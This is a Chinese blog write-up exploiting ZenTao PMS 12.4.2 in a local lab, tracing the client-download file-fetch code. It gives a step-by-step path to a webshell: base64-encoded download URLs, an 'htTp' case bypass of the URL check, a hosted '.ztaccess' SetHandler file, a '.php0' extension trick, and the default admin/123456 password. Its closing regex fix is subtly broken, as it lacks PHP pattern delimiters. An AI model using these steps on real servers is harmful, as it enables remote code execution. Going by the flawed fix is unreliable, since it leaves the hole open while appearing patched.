禅道怎么挂服务器_看我们如何换个姿势把玩禅道

0x01:背景

近期,结合实际工作需要,对禅道项目管理系统进行了一些分析和研究,通过分析存在漏洞的代码,经过分析与实践,我们发现了一种在我们认知中相对更快捷利用相关漏洞的绕过姿势。借此机会与大家分享分享。如有雷同,算我的锅,在这给您先赔个不是哈。

0x02:环境构建

禅道项目管理系统V12.4.2版本:https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html

如果需要在Windows系统上构建,直接下载安装包安装即可:https://www.zentao.net/dl/ZenTaoPMS.12.4.2.win64.exe

85625b2bc89edca2a3df919c9262476a.png

一顿解压后,启动那个exe,真的打开了,好神奇!

d9de1508a0caa58f114b4d4082fa20f3.png

直接访问,OK了,默认账户(admin,口令:123456),不知道默认口令的师傅,拿走不谢!进去了会强制改密码哈,干就完了!

598fbff35bc2d5430f5211970ad908e2.png

0x03:一点点禅道背景知识的讲解!(主要是讲给小白我自己的!)

之前在看大佬们的漏洞讲解时,我有个小疑问,client-download-1-(base64 encode webshell download link)-1.html ,这个玩意怎么来的,后来经过一段时间的憋气后,我才发现其原理,您且听我随便讲讲:

在 module/client/control.php 中定义了一个继承了 control 的类 client ,其中实现了诸如 index ,browse , create 这样的无参方法,也实现了 download , edit , changelog , delete 这样的有参方法。

不愿意看了对吗,我们直接看样例1:调用无参方法!

0b50a36c466b46d2edc7e25838bf523f.png

对应的 module/client/control.php 代码为:

public function browse(){    $this->view->title   = $this->lang->client->update;    $this->view->clients = $this->client->getList();    $this->display();}

我们给他加一个 echo 输出调试下,修改代码为:

public function browse(){    echo "Cool boy";    $this->view->title   = $this->lang->client->update;    $this->view->clients = $this->client->getList();    $this->display();}

访问相关页面:

9c4b4e78df8ed512759e860334b2a90e.png

这说明禅道系统使用 - 作为分隔符,client 为对应的类, - 分割, browse 为被调用的方法。

再看一个样例2:调用有参方法!

public function download($version = '', $link = '', $os = ''){    set_time_limit(0);    $result = $this->client->downloadZipPackage($version, $link);    if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));    $client = $this->client->edit($version, $result, $os);    if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));    $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));}

有参调用:三个参数,全是 1

db3c11739b964913d281cee0e31ea29c.png

不传参调用有参函数

027e89c2c8fe83b18b31f8e2e4cb82fc.png

不管你会没会,反正我是会了。。。。时间有限,不研究底层逻辑。既然知道了套路,就可以去套路别人了。

另外,禅道为了提高安全性,默认禁用了 php 解析,可参考链接:https://www.zentao.net/book/zentaopmshelp/406.html,经过我们的测试,推测其采用的是通过一些策略,强制使php为扩展的文件不解析。

0x04:禅道相关有漏洞的代码审计

可能有些大佬早就定位到相关漏洞了哈,我就是看了大佬的分析后,如醍醐灌顶般,瞬间悟透,这里就是按照大佬的方法再过一遍定位到漏洞的过程,不乐意看的师傅,跳过跳过跳过!!!!

1.存在问题的代码位置1:module/client/control.php:86

public function download($version = '', $link = '', $os = '')    {        set_time_limit(0);        $result = $this->client->downloadZipPackage($version, $link);        if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));        $client = $this->client->edit($version, $result, $os);        if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));        $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));    }

关注 downloadZipPackage 这一函数。

2.存在问题的代码位置2:module/client/ext/model/xuanxuan.php:10

public function downloadZipPackage($version, $link){    $decodeLink = helper::safe64Decode($link);    if(preg_match('/^https?\:\/\//', $decodeLink)) return false;    return parent::downloadZipPackage($version, $link);}

使用base64解码后,请注意关键代码:preg_match('/^https?\:\/\//', $decodeLink) ,显然这类正则匹配存在一定的问题:如果正则匹配到 http(s):// 则返回false,既然如此,我们可以利用 ftp 绕过。

3.上传文件存储关键代码:module/client/model.php:240

public function downloadZipPackage($version, $link)    {        ignore_user_abort(true);        set_time_limit(0);        if(empty($version) || empty($link)) return false;        $dir  = "data/client/" . $version . '/';         //关键代码        $link = helper::safe64Decode($link);             //base64解码        $file = basename($link);        if(!is_dir($this->app->wwwRoot . $dir))        {            mkdir($this->app->wwwRoot . $dir, 0755, true);        }        if(!is_dir($this->app->wwwRoot . $dir)) return false;        if(file_exists($this->app->wwwRoot . $dir . $file))        {            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;        }        ob_clean();        ob_end_flush();        $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');        $remote = fopen($link, 'rb');        if($remote === false) return false;        while(!feof($remote))        {            $buffer = fread($remote, 4096);            fwrite($local, $buffer);        }        fclose($local);        fclose($remote);        return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;    }

     上述代码使用base64解码 $link 参数后将下载文件至 data/client/ 拼接 $version 参数的目录,读取 $link 指向的文件,并写入 $local 指向的文件中。显然,没啥过滤,没啥扰乱,看起来只要能绕过http(s):// 匹配,你想咋搞咋搞。

0x05:失败的干就完了(PHP不解析)

随便在自有的tomcat服务器上,传个 1.php 吧(毕竟禅道是按字符读取后目标文件,并写入到其服务器一个文件,为避免动态页面被解析为静态页面的问题,出此下策),内容为:

<?php  phpinfo();?>

e1dabfe7808c8dd1fd70aeeb46b06b09.png

以本地测试环境为例,其资源索引地址为:http://127.0.0.1:8080/1.php

base64(http://127.0.0.1:8080/1.php) -> aHR0cDovLzEyNy4wLjAuMTo4MDgwLzEucGhw,干!肯定失败!

fc23618ddd0add503d9acdd9d79758b7.png

换个思路,绕过 http 或 https ,用 htTp 试试?

base64(htTp://127.0.0.1:8080/1.php) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLzEucGhw,干!保存成功!

a6033d0079e461b04a120f090ce14446.png

访问 http://127.0.0.1:81/zentao/data/client/1/1.php ,没东西,经过检查,代码上传确实出现在服务端后台了,说明没有解析:

50dd476cdc2350cf9c5aea18bc9a5bfa.png

我们得想办法让他解析,这时候,知识点又来了:想访问禅道二级目录,得改他的.ztaccess文件,既然环境在这里,我们再构建一个.ztaccess文件,让服务器下载吧,文件内容如下所示:

    SetHandler application/x-httpd-php

文件资源索引地址:htTp://127.0.0.1:8080/.ztaccess -> base64编码处理 -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw==

触发服务器下载逻辑:

b0bc38d099ef80397bf2b4907f115f16.png

再次访问:http://127.0.0.1:81/zentao/data/client/1/1.php,还是不解析,不上图了,贼伤心。

0x06:成功的干就完了(扩展绕过及解析)

老方法,Tomcat搞一搞,资源索引地址换成 http://127.0.0.1:8080/1.php0 ,反正我打我自己。

http://127.0.0.1:8080/1.php0 -> base64(htTp://127.0.0.1:8080/1.php0) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLzEucGhwMA==

29a19148e8a9b787b2eaa2bf94e56d27.png

保存成功,访问还是不解析哈:

35384e61deeaa8ad566b55e12e028713.png

根据禅道的要求,显然我们还要传一个 .ztacess 到服务器上去:

    SetHandler application/x-httpd-php

base64(htTp://127.0.0.1:8080/.ztaccess) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw==

4d8e492443fe603e58f883fbdb6cb336.png

再次访问成功解析,访问成功:

09a76ebe775c3e35f7142b860a8fc948.png

0x07:反思

既然已经绕过了相关的漏洞,按照国际惯例,也应该提出点自己的安全建议,不如从正则匹配入手搞一搞。

绕过一:大小写绕过防护

关键代码如下所示,注意,添加了一个 i (忽略大小写选项):

public function downloadZipPackage($version, $link){    $decodeLink = helper::safe64Decode($link);    if(preg_match('/^https?\:\/\//i', $decodeLink)) return false;    return parent::downloadZipPackage($version, $link);}

使用base64(htTp://127.0.0.1:8080/.ztaccess) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw== 这一载荷尝试下载相关资源确实失败了。

9085a1c52864c2f9b75076ec0622bdc4.png

绕过二:其他协议绕过防护

有大佬试过 FTP 协议绕过,真的很香。针对这种换协议绕过检查的方法,可以优化下正则表达式:

if(preg_match('^(https?|ftp|file)\:\/\/i', $decodeLink)) return false;

喜欢就请关注我们吧!

9b881f348780cb7c9df54e4292058fb0.gif

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值